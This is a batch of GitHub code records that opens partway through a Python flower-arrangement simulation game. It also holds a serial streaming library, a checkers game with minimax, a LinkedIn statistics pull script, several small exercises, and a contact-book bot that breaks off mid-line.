self.logger.error(f'Suitor {suitor.suitor_id} ({suitor.name}) '\n f'provided an invalid format for its offering: {offer}')\n is_invalid_format = True\n break\n for flower, ct in offer[-1].arrangement.items():\n offer_cts[flower] += ct\n if flower not in flowers_for_round:\n is_hallucinated = True\n self.logger.error(\n f'Suitor {suitor.suitor_id} ({suitor.name}) tried to offer a flower {flower} '\n f'which is unavailable at the market today. '\n )\n break\n if offer_cts[flower] > flowers_for_round[flower]:\n is_more_than_market = True\n self.logger.error(\n f'Suitor {suitor.suitor_id} ({suitor.name}) gave away atleast {offer_cts[flower]} '\n f'{flower} flowers. There are only {flowers_for_round[flower]} available at the market.')\n break\n if is_more_than_market or is_hallucinated or is_invalid_format:\n break\n\n if is_more_than_market or is_hallucinated or is_invalid_format:\n return prepare_empty_bouquets(suitor)\n return valid_offers\n\n def simulate_round(self, curr_round):\n is_final_round = curr_round == self.d - 1\n suitor_ids = [suitor.suitor_id for suitor in self.suitors]\n flowers_for_round = sample_n_random_flowers(self.possible_flowers, self.num_flowers_to_sample)\n offers = list(map(lambda suitor: self.resolve_prepare_func(suitor, is_final_round=is_final_round)(\n flowers_for_round.copy()), self.suitors))\n offers = list(map(lambda i: self.fix_offers(self.suitors[i], offers[i], flowers_for_round), range(self.p)))\n offers_flat = list(itertools.chain(*offers))\n for (suitor_from, suitor_to, bouquet) in offers_flat:\n assert suitor_from != suitor_to\n bouquet = Bouquet({}) if bouquet is None else bouquet\n self.bouquets[curr_round, suitor_from, suitor_to] = bouquet\n try:\n score = float(aggregate_score(self.suitors[suitor_to], bouquet))\n except:\n self.logger.error(f'Suitor {suitor_to} ({self.suitors[suitor_to].name})'\n f' had a bug when scoring the bouquet. Setting it to 0')\n score = 0\n if score < 0 or score > 1:\n self.logger.error(\n f'Suitor {suitor_to} ({self.suitors[suitor_to].name})'\n f' provided an invalid score - i.e., not in [0, 1]. Setting it to 0')\n score = 0\n self.scores[curr_round, suitor_from, suitor_to] = score\n np.fill_diagonal(self.scores[curr_round], float('-inf'))\n round_ranks = rankdata(-self.scores[curr_round], axis=0, method='min')\n self.ranks[curr_round, :, :] = round_ranks\n col_rank_cts = list(map(lambda col: Counter(round_ranks[:, col]), range(self.p)))\n for row in range(self.p):\n for col in range(self.p):\n rank = round_ranks[row, col]\n self.ties[curr_round, row, col] = col_rank_cts[col][rank]\n\n list(map(lambda i: self.resolve_feedback_func(self.suitors[i])(\n tuple(zip(self.ranks[curr_round, i, :], self.scores[curr_round, i, :], self.ties[curr_round, i, :]))\n ), suitor_ids))\n\n if not self.remove_round_logging:\n self.log_round(curr_round)\n\n def simulate_next_round(self):\n if self.next_round < self.d:\n self.simulate_round(self.next_round)\n self.next_round += 1\n else:\n raise Exception('Should not be able to call this when the days have run out.')\n if self.next_round == self.d:\n self.logger.info('We\\'re done. Let\\'s get married!')\n self.marry_folks()\n\n def marry_folks(self):\n final_scores = self.scores[-1, :, :]\n married = np.full((self.p,), False)\n second_best_scores = np.clip(np.array([np.sort(final_scores[:, i])[-2] for i in range(self.p)]), 0, 1)\n self.advantage = final_scores - second_best_scores\n priority = np.copy(self.advantage)\n\n # Marry off\n marriage_scores = np.zeros(shape=(self.p,))\n marriage_unions = []\n for marriage_round in range(self.p // 2):\n # Make sure we don't select already married 'folks'\n priority[married, :] = float('-inf')\n priority[:, married] = float('-inf')\n\n # Select the most excited partner and his or her chosen flower-giver as the next in the marriage queue\n winning_pairs_w_ties = np.argwhere(priority == np.max(priority))\n num_ties = winning_pairs_w_ties.shape[0]\n # Break ties at random\n suitor, chooser = winning_pairs_w_ties[np.random.choice(np.arange(num_ties), size=(1,))[0], :]\n marriage_score = priority[suitor, chooser]\n self.logger.info(f'{chooser} chose to marry {suitor} with a score of {marriage_score}')\n married[suitor] = married[chooser] = True\n marriage_unions.append({'suitor': suitor, 'chooser': chooser})\n marriage_scores[suitor] = marriage_scores[chooser] = marriage_score\n assert married.sum() == self.p\n self.marriages = {\n 'scores': list(marriage_scores),\n 'unions': marriage_unions\n }\n self.logger.info(self.marriages)\n return self.marriages\n\n\ndef aggregate_score(suitor: BaseSuitor, bouquet: Bouquet):\n color_score = suitor.score_colors(bouquet.colors)\n size_score = suitor.score_sizes(bouquet.sizes)\n type_score = suitor.score_types(bouquet.types)\n agg_score = color_score + size_score + type_score\n return agg_score\n\n\ndef validate_suitor(suitor):\n if suitor is None:\n return 0\n try:\n assert aggregate_score(suitor, suitor.zero_score_bouquet()) == 0\n assert aggregate_score(suitor, suitor.one_score_bouquet()) == 1\n return 1\n except:\n return 0\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser('COMS 4444 Fall 2021 - Project 3. Flower Arrangements')\n\n parser.add_argument('--d', type=int, default=3, help='Length of the courtship in days.')\n parser.add_argument('--p', type=int, default=10, help='Number of suitors (eligible people).')\n parser.add_argument('-restrict_time', default=False, action='store_true')\n parser.add_argument('--log_file', default='game.log')\n parser.add_argument(\n '--group', type=str, default='Group name will be duplicated p times. Ignored if p_from_config=True.')\n parser.add_argument('-p_from_config', default=False, action='store_true')\n parser.add_argument('--config_path', default='config.csv', help='path from which to read in the config file.')\n parser.add_argument('--random_state', type=int, default=1992, help='Random seed. Fix for consistent experiments')\n parser.add_argument('--port', '-p', type=int, default=8080, help='Port to start')\n parser.add_argument('--address', type=str, default='127.0.0.1', help='Address')\n parser.add_argument('-no_browser', default=False, action='store_true', help='Disable browser launching in GUI mode')\n parser.add_argument('-gui', default=False, action='store_true', help='Enable GUI')\n parser.add_argument('-remove_round_logging', default=False, action='store_true')\n parser.add_argument('--run_id', default='default', help='Specify filename under ./results to save results.')\n parser.add_argument('-save_results', default=False, action='store_true')\n\n args = parser.parse_args()\n game = FlowerMarriageGame(args)\n game.play()\n if args.save_results:\n output_df = game.generate_output_df()\n out_fn = os.path.join('results', f'{args.run_id}.csv')\n output_df.to_csv(out_fn, index=False)\n","repo_name":"griff4692/coms4444_flowers","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"30481485931","text":"import serial\nimport struct\nimport numpy as np\n\nclass Stream:\n def __init__(self, com_port, baud_rate=115200, timeout=1, double=False):\n print(\"Opening serial port to micro...\")\n self.serial_port = serial.Serial(\n com_port,\n baud_rate,\n bytesize=serial.EIGHTBITS,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n timeout=timeout,\n )\n self.double = double\n \n def __del__(self):\n self.close()\n \n def close(self):\n print(\"Closing serial port to micro...\")\n self.serial_port.close()\n \n def write_matrix(self, M, send_shape=False):\n if send_shape:\n # write the shape of the matrix\n self.write_value(M.shape[0])\n self.write_value(M.shape[1])\n # Pack\n M_list = list(M.flatten())\n if self.double:\n bytes = struct.pack(\"%sd\"%(M.shape[0]*M.shape[1]), *M_list)\n else:\n bytes = struct.pack(\"%sf\"%(M.shape[0]*M.shape[1]), *M_list)\n # write\n self.serial_port.write(bytes)\n \n def write_vector(self, M, send_shape=False):\n if send_shape:\n # write the shape of the matrix\n self.write_value(M.shape[0])\n # Pack\n M_list = list(M.flatten())\n if self.double:\n bytes = struct.pack(\"%sd\"%(M.shape[0]), *M_list)\n else:\n bytes = struct.pack(\"%sf\"%(M.shape[0]), *M_list)\n # write\n self.serial_port.write(bytes)\n \n def write_value(self, val, type=\"int\"):\n # Pack\n bytes = None\n if type == \"int\":\n bytes = struct.pack(\"I\", val)\n else:\n if self.double:\n bytes = struct.pack(\"d\", val)\n else:\n bytes = struct.pack(\"f\", val)\n # write\n self.serial_port.write(bytes)\n\n \n def read_matrix(self, rows=None, cols=None):\n if cols is None or rows is None:\n # Receive the size of the matrix\n n = self.read_value()\n m = self.read_value()\n else:\n n = rows\n m = cols\n length = n*m\n # Receive\n total_bytes = length*(4+4*self.double)\n received_bytes = 0\n bytes = b\"\"\n while received_bytes < total_bytes:\n current_bytes = total_bytes-received_bytes\n if current_bytes > 0xFFFF:\n current_bytes = 0xFFFF\n bytes += self.serial_port.read(current_bytes)\n received_bytes += 0xFFFF\n \n # Unpack\n if self.double:\n M_list = struct.unpack(\"%sd\"%(length), bytes)\n else:\n M_list = struct.unpack(\"%sf\"%(length), bytes)\n M = np.array(M_list)\n M = np.reshape(M, (n,m))\n return M\n \n def read_vector(self, length=None):\n if length is None:\n # Receive the size of the vector\n n = self.read_value()\n else:\n n = length\n # Receive\n bytes = self.serial_port.read(n*(4+4*self.double))\n # Unpack\n if self.double:\n v_list = struct.unpack(\"%sd\"%n, bytes)\n else:\n v_list = struct.unpack(\"%sf\"%n, bytes)\n v = np.array(v_list)\n return v\n \n def read_value(self, type=\"int\"):\n # Receive\n if type!=\"int\":\n bytes = self.serial_port.read(4+4*self.double)\n else:\n bytes = self.serial_port.read(4)\n if bytes != b'':\n # Unpack\n val = None\n if type == \"int\":\n val = struct.unpack(\"I\", bytes)[0]\n else:\n if self.double:\n val = struct.unpack(\"d\", bytes)[0]\n else:\n val = struct.unpack(\"f\", bytes)[0]\n return val\n else:\n return None\n \n def write_msg(self, bytes):\n return self.serial_port.write(bytes)\n \n def read_msg(self, length):\n return self.serial_port.read(length)","repo_name":"SSIGPRO/streaming_pca","sub_path":"micro_pylib/stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":4086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25654692565","text":"from itertools import permutations\n\nfrom scipy.sparse import csr_matrix\nfrom scipy.sparse.csgraph._shortest_path import floyd_warshall\n\n\ndef solve():\n N, M, R = map(int, input().split())\n r = list(map(lambda x: int(x)-1, input().split()))\n dist = [[0 for _ in range(N)] for _ in range(N)]\n for _ in range(M):\n A, B, C = map(int, input().split())\n dist[A-1][B-1] = C\n dist[B-1][A-1] = C\n fw = floyd_warshall(csr_matrix(dist))\n \n \n ans = 10**12\n for visit in permutations(r, R):\n m_sum = 0\n for i in range(R-1):\n m_sum += fw[visit[i]][visit[i+1]]\n ans = min(ans, m_sum)\n print(int(ans))\n\n\nif __name__ == '__main__':\n solve()\n","repo_name":"yuly3/atcoder","sub_path":"ABC/ABC073/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"7932200471","text":"def enigma():\r\n chaves = 'abcdefghijklmnopqrstuvwxyz !'\r\n valores = chaves[-1] + chaves[0:-1]\r\n print(chaves)\r\n print(valores)\r\n\r\n dicio_e = dict(zip(chaves,valores))\r\n dicio_d = dict(zip(valores,chaves))\r\n\r\n dicio_e = dict(zip(chaves,valores))\r\n dicio_d = {value:key for key, value in dicio_e.items()}\r\n\r\n msg = input('Digite a mensagem secreta: ')\r\n modo = input('Cryptografia: Esconder (e) ou desvendar (d): ')\r\n\r\n if modo.lower() == 'e':\r\n nova_msg = ''.join([dicio_e[letras] for letras in msg])\r\n elif modo.lower() == 'd':\r\n nova_msg = ''.join([dicio_d[letras] for letras in msg])\r\n \r\n return nova_msg\r\n\r\nprint(enigma())","repo_name":"BrenoTNK/scrimba-python","sub_path":"project-crypto.py","file_name":"project-crypto.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26954097063","text":"import cv2\n#####################################################################\n\nflag_processing = True\nvideo_name = 'videos/test.mp4'\n#####################################################################\n\n# define video capture object\n\ncap = cv2.VideoCapture()\n\n(major, minor, _) = cv2.__version__.split(\".\")\nif (major == '3'):\n cv2.ocl.setUseOpenCL(False)\n\n# define display window name\n\nwindowName = \"Video Input\"\nwindowNameFGP = \"Foreground Probabiity\"\n\n# if command line arguments are provided try to read video_name\n# otherwise default to capture from attached H/W camera\n\nif cap.open(video_name):\n\n # create window by name (as resizable)\n\n cv2.namedWindow(windowName, cv2.WINDOW_NORMAL)\n cv2.namedWindow(windowNameFGP, cv2.WINDOW_NORMAL)\n\n mog = cv2.createBackgroundSubtractorMOG2(history=2000, varThreshold=16, detectShadows=True);\n\n while (flag_processing):\n\n # if video file successfully open then read frame from video\n\n if (cap.isOpened):\n ret, frame = cap.read()\n\n # when we reach the end of the video (file) exit cleanly\n\n if (ret == 0):\n flag_processing = False\n continue\n\n # add current frame to background model and retrieve current foreground objects\n\n fgmask = mog.apply(frame)\n\n # threshold this and clean it up using dilation with a elliptical mask\n\n fgthres = cv2.threshold(fgmask.copy(), 200, 255, cv2.THRESH_BINARY)[1]\n fgdilated = cv2.dilate(fgthres, kernel=cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (3,3)), iterations = 3)\n\n # get current background image (representative of current GMM model)\n\n bgmodel = mog.getBackgroundImage()\n\n # display images - input, background and original\n\n cv2.imshow(windowName,frame)\n cv2.imshow(windowNameFGP,fgmask)\n\n key = cv2.waitKey(10) & 0xFF\n\n # if user presses \"q\" then exit\n if (key == ord('q')):\n flag_processing = False\n\n # close all windows\n cv2.destroyAllWindows()\nelse:\n print(\"No video file specified or camera connected.\")","repo_name":"liujigang82/Fish-Detection","sub_path":"deliver/fish_detection.py","file_name":"fish_detection.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1722160687","text":"import logging\nimport numpy as np\nimport config.sr_network_conf as base_config\nfrom core_network.Network import *\n\n\n__author__ = 'ptoth'\n\n_LOGGER = logging.getLogger(__name__)\n\nif __name__ == \"__main__\":\n\n logging.basicConfig(level=logging.INFO)\n\n # Load up the training data\n _LOGGER.info('Loading training data')\n input_file = '../data_prepared/bach_goldberg_aria_10'\n # X_train is a tensor of size (num_train_examples, num_timesteps, num_frequency_dims)\n X_train_freq = np.load(input_file + '_x.npy')\n # y_train is a tensor of size (num_train_examples, num_timesteps, num_frequency_dims)\n y_train_freq = np.load(input_file + '_y.npy')\n # X_mean is a matrix of size (num_frequency_dims,) containing the mean for each frequency dimension\n X_mean_freq = np.load(input_file + '_mean.npy')\n # X_var is a matrix of size (num_frequency_dims,) containing the variance for each frequency dimension\n X_var_freq = np.load(input_file + '_var.npy')\n _LOGGER.info('Finished loading training data')\n\n config = base_config.get_config()\n\n # Tell TensorFlow that the model will be built into the default Graph.\n with tf.Graph().as_default():\n\n network = SRNetwork(config['network'])\n # merge all summaries\n summary_op = tf.merge_all_summaries()\n\n # Add an op to initialize the variables.\n init_op = tf.initialize_all_variables()\n\n # launching the model\n with tf.Session() as sess:\n # Run the init operation.\n sess.run(init_op)\n summary_writer = tf.train.SummaryWriter('summary', graph_def=sess.graph_def)\n\n # Use the model\n for j in range(1):\n # for idx, sample in enumerate(X_train_freq):\n network.run(sess, X_train_freq, y_train_freq, summary_op, summary_writer)\n\n\n\n\n","repo_name":"eidonfiloi/SparseRecurrentNetwork","sub_path":"tensor_factorization/sr_network_runner.py","file_name":"sr_network_runner.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"41945324575","text":"\"\"\"Read payments from csv file\"\"\"\n\nimport csv\nimport re\nimport sys\nfrom typing import Literal, NewType, TypedDict, cast\n\nfrom . import log\nfrom .rise_client import USDC_DECIMALS, Payment, RiseId, USDCInWei\n\nDAIInUsd = NewType(\"DAIInUsd\", str)\n\n\nclass CSVRow(TypedDict):\n \"\"\"Row of the csv file\"\"\"\n\n outgoing_amount: DAIInUsd\n outgoing_token: Literal[\"DAI\"]\n Description: str # pylint: disable=invalid-name\n\n\ndef payments_from_csv(path: str) -> list[Payment]:\n \"\"\"Read payments from csv file\"\"\"\n with open(path, encoding=\"utf-8\") as file:\n reader = csv.DictReader(file, delimiter=\",\")\n rows = cast(tuple[CSVRow], tuple(row for row in reader))\n\n payments = []\n\n for row in rows:\n _sanity_checks(row)\n payments.append(\n Payment(\n amount=payment_amount(row[\"outgoing_amount\"]),\n recipient=find_rise_id(row[\"Description\"]),\n )\n )\n\n return payments\n\n\ndef find_rise_id(text: str) -> RiseId:\n \"\"\"RiseId of the recipient\"\"\"\n is_address = re.compile(r\"0x[0-9a-fA-F]{40}\")\n matches = is_address.findall(text)\n\n if not matches:\n log.error(f\"RiseId not found in [bold]{text}[/bold]\")\n sys.exit(1)\n if len(matches) > 1:\n log.error(f\"Multiple RiseIds found in [bold]{text}[/bold]\")\n sys.exit(1)\n\n return RiseId(matches.pop())\n\n\ndef payment_amount(amount: DAIInUsd) -> USDCInWei:\n \"\"\"Convert DAI to USDC in Wei\"\"\"\n try:\n _float_amount = float(amount)\n except ValueError:\n log.error(f\"Invalid amount: [bold]{amount}[/bold]\")\n sys.exit(1)\n\n return USDCInWei(int(_float_amount * 10**USDC_DECIMALS))\n\n\ndef _sanity_checks(row: CSVRow) -> None:\n if row[\"outgoing_token\"] != \"DAI\":\n log.error(f\"Unsupported token: [bold]{row['outgoing_token']}[/bold]\")\n sys.exit(1)\n","repo_name":"lidofinance/riseworks-batcher","sub_path":"src/datasource.py","file_name":"datasource.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35716193649","text":"class Employee:\n def __init__(self, imie, nazwisko, stawka):\n self.imie = imie\n self.nazwisko = nazwisko\n self.stawka = stawka\n self.kasa = 0\n\n def register_time(self, godziny):\n if godziny > 8:\n self.kasa += (godziny - 8) * self.stawka * 2\n self.kasa += 8 * self.stawka\n else:\n self.kasa += godziny * self.stawka\n\n def pay_salary(self):\n try:\n return self.kasa\n finally:\n self.kasa = 0\n\n\n# Jeśli klasa Employee jest nbapisana w taki sposób, że zampamiętuje pieniądze w zmiennej kasa,\n# to implementacja PRemiumEmployee może być dużo prostsza - można doliczać bonusy bezpośrednio do zmiennej kasa.\n\n# Takie podejście do programowania, że korzystamy ze szczegółów sposobu implementacji klasy A\n# podczas definiowania klasy B jest jednak łamaniem zasady \"enkapsulacji\" i w poważniejszych projektach powinniśmy tego unikać.\n# Problem: jeśli teraz ktoś zmieni szczegóły klasy Employee, to PremiumEmployee może przestać działać.\nclass PremiumEmployee(Employee):\n def give_bonus(self, bonus):\n self.kasa += bonus\n\n\nemployee = PremiumEmployee('Jan', 'Nowak', 100.0)\nemployee.register_time(5)\nemployee.give_bonus(1000.0)\nwynik = employee.pay_salary()\nprint(wynik)\n\n","repo_name":"TomaszWaszczyk/python-tinkering","sub_path":"python3days/p11_klasy_inne_przyklady/zad07_v2.py","file_name":"zad07_v2.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5163994100","text":"\"\"\"\n Given an integer array nums, find the contiguous subarray (containing at least one number), \n which has the largest sum and return its sum.\n\n A subarray is a contiguous part of an array.\n\n Example:-\n Input: nums = [-2,1,-3,4,-1,2,1,-5,4]\n Output: 6\n Explanation: [4,-1,2,1] has the largest sum = 6.\n\n Input: nums = [5,4,-1,7,8]\n Output: 23\n\n Input: nums = [1]\n Output: 1\n\"\"\"\ndef maxSubArray(self, nums):\n maxSub = nums[0]\n currSum = 0\n \n for i in nums:\n if currSum < 0: # Checking if currSum is at any point negative, reset the value of currSum with 0.\n currSum = 0\n currSum += i\n maxSub = max(maxSub, currSum)\n return maxSub","repo_name":"rahulpandey70/LeetCode-Questions","sub_path":"Topics/array/MaximumSubarray.py","file_name":"MaximumSubarray.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"7712357675","text":"import pandas as pd\nfrom datetime import date\nfrom helpers.helpers import *\n\n\n# Main entry point for the cloud function\ndef pull_from_api(self):\n # URL for page stats and\n follower_stats_url = 'https://api.linkedin.com/rest/organizationalEntityFollowerStatistics?q=organizationalEntity&organizationalEntity=urn:li:organization:30216658'\n\n headers = {\n \"Authorization\": \"Bearer {}\".format(return_active_token()),\n 'Linkedin-Version': '202302'\n }\n\n # Get all data from API\n follower_stats_data = get_from_api(follower_stats_url, headers)\n endpoint = follower_stats_data['elements'][0]\n\n # Fetch industry data only\n staff_count_range_data = endpoint['followerCountsByStaffCountRange']\n\n # Convert into a dataframe\n df = pd.json_normalize(staff_count_range_data)\n\n # Get pull date\n df[\"pull_date\"] = pd.to_datetime(date.today())\n\n # Reorder columns\n cols = ['staffCountRange',\n 'pull_date',\n 'followerCounts.organicFollowerCount',\n 'followerCounts.paidFollowerCount']\n\n df = df[cols]\n\n # Rename columns\n old_col_names = ['staffCountRange', 'followerCounts.organicFollowerCount',\n 'followerCounts.paidFollowerCount']\n\n new_col_names = ['staff_count_range', 'organic_follower_count',\n 'paid_follower_count']\n\n # Assign new column names\n new_cols = dict(zip(old_col_names, new_col_names))\n\n df = df.rename(columns=new_cols)\n\n # Write dataframe to csv\n df.to_csv('linkedin_follower_stats_staff_count_range.csv', encoding='utf-8')\n\n return \"Data has been saved\"\n","repo_name":"raphaelfloresca/cdb-data-warehouse-etl","sub_path":"pull_linkedin_follower_stats_by_staff_count_range.py","file_name":"pull_linkedin_follower_stats_by_staff_count_range.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72986081107","text":"pressure_arr = [80, 90, 100, 150, 120, 110, 160, 110, 100]\n#= ( Σ xi ) / n= sume of #/ by the amount of the data set\nx= len (pressure_arr)\ni= int (x)\nprint (str(i) + \" is the length of the data set.\")\n\ny= sum (pressure_arr)\nz= int (y)\nprint(str(z)+ \" is the sum value of the numbers in the data set.\")\n\nmean = y / x\nh= int(mean)\nprint ( str(h) + \" is the mean (average) of the data.\")\n","repo_name":"DavidTF85/assigment1","sub_path":"A1_T4.py","file_name":"A1_T4.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37428935479","text":"from pygame.locals import *\nimport pygame, asyncio\nimport sys\nfrom constants import WIDTH, HEIGHT, WHITE, SQUARE, BLACK\nfrom game import Game\nfrom minmax.algorithm import minimax\nimport time\n\n\nmainClock = pygame.time.Clock()\npygame.init()\npygame.display.set_caption(\"JUEGO DAMAS M&M\")\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\n\n\nfont = pygame.font.SysFont(\"arialblack\", 15)\n\n\ndef draw_text(text, font, color, surface, x, y):\n textobj = font.render(text, 1, color)\n textrect = textobj.get_rect()\n textrect.topleft = (x, y)\n surface.blit(textobj, textrect)\n\n\nclick = False\n\n\ndef get_row_col_from_mouse(pos):\n x, y = pos\n row = y // SQUARE\n col = x // SQUARE\n return row, col\n\n\nasync def main():\n run = True\n game = Game(screen)\n\n while run:\n screen.fill((37, 73, 41))\n draw_text(\"JUEGO DAMAS\", font, (192, 192, 192), screen, 175, 30)\n\n mx, my = pygame.mouse.get_pos()\n\n button_1 = pygame.Rect(150, 100, 200, 50)\n button_3 = pygame.Rect(150, 300, 200, 50)\n button_2 = pygame.Rect(150, 200, 200, 50)\n\n if button_1.collidepoint((mx, my)):\n if click:\n USUARIOvsIA(game)\n if button_3.collidepoint((mx, my)):\n if click:\n usuarioVSusuario(game)\n if button_2.collidepoint((mx, my)):\n if click:\n iaVSia()\n\n pygame.draw.rect(screen, (192, 192, 192), button_1)\n button_1_text = font.render(\"HUMAN vs IA\", True, (0, 0, 0))\n button_1_text_rect = button_1_text.get_rect(center=button_1.center)\n screen.blit(button_1_text, button_1_text_rect)\n\n pygame.draw.rect(screen, (192, 192, 192), button_3)\n button_1_text = font.render(\"HUMAN vs HUMAN\", True, (0, 0, 0))\n button_1_text_rect = button_1_text.get_rect(center=button_3.center)\n screen.blit(button_1_text, button_1_text_rect)\n\n pygame.draw.rect(screen, (192, 192, 192), button_2)\n button_1_text = font.render(\"IA vs IA\", True, (0, 0, 0))\n button_1_text_rect = button_1_text.get_rect(center=button_2.center)\n screen.blit(button_1_text, button_1_text_rect)\n\n click = False\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n pygame.quit()\n sys.exit()\n if event.type == MOUSEBUTTONDOWN:\n pos = pygame.mouse.get_pos()\n row, col = get_row_col_from_mouse(pos)\n game.select(row, col)\n\n if event.button == 1:\n click = True\n await asyncio.sleep(0)\n pygame.display.update()\n\n pygame.quit()\n\n\ndef USUARIOvsIA(game):\n running = True\n population_size = 4\n num_generations = 1\n user_move_start_time = None\n user_move_time_limit = 10 # el usuario tiene 10 segundos para hacer un movimiento\n\n while running:\n if game.turn == WHITE:\n value, new_board = minimax(\n game.getBoard(), 2, WHITE, game, population_size, num_generations\n )\n game.ai_move(new_board)\n pygame.display.update()\n user_move_start_time = (\n time.time()\n ) \n # interfaz para ganador\n if game.winner() is not None:\n pygame.display.update()\n\n winner = game.winner()\n print(winner)\n font = pygame.font.SysFont(None, 48)\n text = font.render(\"El ganador es: \" + str(winner), True, (255, 255, 255))\n text_rect = text.get_rect(center=screen.get_rect().center)\n screen.blit(text, text_rect)\n break\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n if event.type == pygame.MOUSEBUTTONDOWN:\n pos = pygame.mouse.get_pos()\n row, col = get_row_col_from_mouse(pos)\n game.select(row, col)\n\n # si el usuario hace un movimiento, reiniciar el temporizador\n user_move_start_time = time.time()\n\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n running = False\n\n # si el usuario se tarda demasiado, terminar el juego\n if (\n user_move_start_time is not None\n and time.time() - user_move_start_time > user_move_time_limit\n ):\n \n \n font = pygame.font.SysFont(None, 48)\n text = font.render(\"Perdio Turno: \" , True, (255, 255, 255))\n text_rect = text.get_rect(center=screen.get_rect().center)\n screen.blit(text, text_rect)\n pygame.time.delay(500)\n game.turn=WHITE\n \n\n game.update()\n pygame.display.update()\n mainClock.tick(60)\n\n pygame.quit()\n\n\ndef usuarioVSusuario(game):\n running = True\n\n while running:\n if game.turn == WHITE:\n pygame.display.update()\n\n # interfaz para ganador\n if game.winner() is not None:\n pygame.display.update()\n\n winner = game.winner(WHITE)\n print(winner)\n font = pygame.font.SysFont(None, 48)\n text = font.render(\"El ganador es: \" + winner, True, (255, 255, 255))\n text_rect = text.get_rect(center=screen.get_rect().center)\n screen.blit(text, text_rect)\n running = False\n break\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n if event.type == pygame.MOUSEBUTTONDOWN:\n pos = pygame.mouse.get_pos()\n row, col = get_row_col_from_mouse(pos)\n game.select(row, col)\n\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n running = False\n game.update()\n pygame.display.update()\n mainClock.tick(60)\n\n pygame.quit()\n\n\ndef iaVSia():\n running = True\n while running:\n screen.fill((0, 0, 0))\n\n draw_text(\"IA VS IA\", font, (255, 255, 255), screen, 20, 20)\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n running = False\n\n pygame.display.update()\n mainClock.tick(60)\n\n\nasyncio.run(main())\n","repo_name":"MichaelGonzalez-bit/Damas-Min-Max","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30534457475","text":"def loger_errors(func):\n \"\"\"Декоратор, який виправляє помилки\"\"\"\n def inner(*args, **kwargs):\n try:\n return func(*args, **kwargs)\n except KeyError:\n print(\"Такої команди немає. Введіть help для довідки. Ви ввели {}\".format(args))\n except NameError:\n print(\"Такого імені немає в контактах. Введіть ім'я правильно. Ви ввели {}\".format(args))\n except ValueError:\n print(\"Введіть значення номеру телефону правильно. Ви ввели {}\".format(args))\n except IndexError:\n print(\"Введіть необхідну кількість модифікаторів команд. Ви ввели {}\".format(args))\n\n return inner\n \n\n# add name number ПРАЦЮЄ\n@loger_errors\ndef add_phone(name_number):\n \"\"\"Зберігає новий контакт в словник контактів.\"\"\"\n if name_number[1].isdigit():\n contacts.update({name_number[0]: name_number[1]})\n else:\n raise ValueError\n return contacts\n \n \n# change name number ПРАЦЮЄ\n@loger_errors\ndef change_phone(name_number):\n \"\"\"Зберігає новий номер існуючого контакту в словнику.\"\"\"\n if name_number[0] in contacts:\n if name_number[1].isdigit():\n contacts[name_number[0]] = name_number[1]\n else:\n raise ValueError\n else:\n raise NameError\n return contacts\n\n\n# \"goodbye\", \"close\", \"exit\" ПРАЦЮЄЄЄЄЄ\n@loger_errors\ndef close(user_input):\n \"\"\"Прощається з користувачем й закриває програму.\"\"\" \n global flag\n flag = False\n # return flag\n\n\n@loger_errors\ndef get_handler(user_command):\n \"\"\"Знаходить команду користувача в словнику.\"\"\"\n return COMMANDS[user_command]\n\n\n# phone name ПРАЦЮЄ\n@loger_errors\ndef get_phone(name):\n \"\"\"Бере й виводить номер телефону за іменем зі словника контактів.\"\"\"\n return contacts[name[0]]\n\n\n# hello ПРАЦЮЄ\n@loger_errors\ndef hello(user_input): \n return f\"Hello, how can I help you? Available commands: \\n add name phone \\t # Додати новий контакт \\n change name phone \\t # Змінити номер існуючого контакту \\n phone name \\t\\t # Показати номер контакту \\n show_all \\t\\t # Показати список контактів \\n close \\t\\t\\t # Вихід\"\n\n\n\n@loger_errors\ndef parser(user_input):\n \"\"\"Розбирає інпут користувача\"\"\"\n user_input_list = user_input.lower().split(\" \")\n user_command = user_input_list[0]\n return user_command, user_input_list[1:]\n\n\n# show_all ПРАЦЮЄ, але як викликати команду двома 